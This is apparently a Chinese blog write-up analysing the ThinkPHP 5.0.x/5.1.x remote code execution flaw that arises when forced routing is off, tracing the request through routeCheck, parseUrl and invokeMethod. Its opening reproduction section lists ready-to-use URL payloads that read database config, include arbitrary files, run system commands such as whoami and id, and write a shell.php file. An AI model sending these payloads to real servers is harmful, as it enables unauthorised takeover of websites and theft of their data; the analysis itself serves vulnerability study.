• 通俗易懂的thinkphp5.0.x 5.1.x 未开启强制路由导致RCE分析


    漏洞复现



    5.0.x

    ?s=index/thinkconfig/get&name=database.username # 获取配置信息
    ?s=index/	hinkLang/load&file=../../test.jpg    # 包含任意文件
    ?s=index/	hinkConfig/load&file=../../t.php     # 包含任意.php文件
    ?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

    5.1.x

    ?s=index/	hinkRequest/input&filter[]=system&data=pwd
    ?s=index/	hinkviewdriverPhp/display&content=<?php phpinfo();?>
    ?s=index/	hink	emplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
    ?s=index/	hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    ?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

    影响版本

    5.0.7<=thinkphp<=5.0.22
    5.1.x

    漏洞分析

    直接在入口文件处下断点

    一路跟到run()方法里面的路由检测部分

    跟进routeCheck()方法

    public function routeCheck()
        {
            $path = $this->request->path();
            $depr = $this->config('app.pathinfo_depr');
    
            // 路由检测
            $files = scandir($this->routePath);
            foreach ($files as $file) {
                if (strpos($file, '.php')) {
                    $filename = $this->routePath . DIRECTORY_SEPARATOR . $file;
                    // 导入路由配置
                    $rules = include $filename;
                    if (is_array($rules)) {
                        $this->route->import($rules);
                    }
                }
            }
    
            if ($this->config('app.route_annotation')) {
                // 自动生成路由定义
                if ($this->debug) {
                    $this->build->buildRoute($this->config('app.controller_suffix'));
                }
    
                $filename = $this->runtimePath . 'build_route.php';
    
                if (is_file($filename)) {
                    include $filename;
                }
            }
    
            // 是否强制路由模式
            $must = !is_null($this->routeMust) ? $this->routeMust : $this->config('app.url_route_must');
    
            // 路由检测 返回一个Dispatch对象
            return $this->route->check($path, $depr, $must, $this->config('app.route_complete_match'));
        }
    

    看到最上面$path通过path()方法获取,跟进一下path方法

    public function path()
        {
            if (is_null($this->path)) {
                $suffix   = $this->config->get('url_html_suffix');
                $pathinfo = $this->pathinfo();
                if (false === $suffix) {
                    // 禁止伪静态访问
                    $this->path = $pathinfo;
                } elseif ($suffix) {
                    // 去除正常的URL后缀
                    $this->path = preg_replace('/.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
                } else {
                    // 允许任何后缀访问
                    $this->path = preg_replace('/.' . $this->ext() . '$/i', '', $pathinfo);
                }
            }
    
            return $this->path;
        }
    

    最后返回的$path是$pathinfo获取来的,$pathinfo又是通过pathinfo()方法获取来的,跟进pathinfo()方法

    通过代码可以发现是通过URL获取来的,根据debug最后返回的值是我们传入的index/ hinkContainer/invokefunction
    回到path方法,经过一些处理,返回值还是index/ hinkContainer/invokefunction

    再回到routeCheck()方法,可以看到有如下判断

    // 是否强制路由模式
    $must = !is_null($this->routeMust) ? $this->routeMust : $this->config('app.url_route_must');
    

    如果开启了强制路由,那么我们输入的路由将报错导致后面导致程序无法运行,也就不存在RCE漏洞,但是默认是开启的
    上面我们就分析完了routeCheck函数,得到了$dispatch的值

    接下来我们走到了

    $data = $dispatch->run();
    

    跟进一下run()方法
    首先是将/替换成了|,得到了$url

    然后使用parseUrl()方法处理$url得到$result
    跟进parseUrl()方法,关注如下一行代码

    list($path, $var) = $this->parseUrlPath($url);
    

    再跟进parseUrlPath()方法

    将$url里面的|换成了/,然后通过如下判断根据/将其进行分割成数组存入$path

    elseif (strpos($url, '/')) {
        // [模块/控制器/操作]
        $path = explode('/', $url);
    

    然后退出parseUrlPath()方法,退出parseUrl()方法,状态如下

    接着传入$result实例化Moudle类然后执行run方法
    跟进run()方法,接着通过URL获取控制器名

    获取操作名

    接着跟进实例化控制器,controller方法,保存在$instance


    跟进parseModuleAndClass()方法

    得到$class和$module的值
    接着回到$controller方法,判断类是否存在,如果存在则调用__get()方法,然后回到run方法

    判断方法在当前环境是否可以调用,当然可以,然后得到$call和$vars


    然后执行

    return Container::getInstance()->invokeMethod($call, $vars);
    

    跟进invokeMethod()方法,通过反射方式调用方法


    成功实现RCE

  • 相关阅读:
    ASP.NET 动态创建文本框 TextBox (add TextBox to page dynamically)
    SQL Server 行列转换
    NPOI把Excel导入到数据库
    Net操作Excel(终极方法NPOI)
    mongdo通用类(C#版)
    ORACLE 定时执行存储过程
    C# Excel导入、导出
    网络爬虫+HtmlAgilityPack+windows服务从博客园爬取20万博文
    Git初级使用教程
    asp.net+swfupload 多图片批量上传(附源码下载)
  • 原文地址:https://www.cnblogs.com/0daybug/p/13739923.html
Copyright © 2020-2023  润新知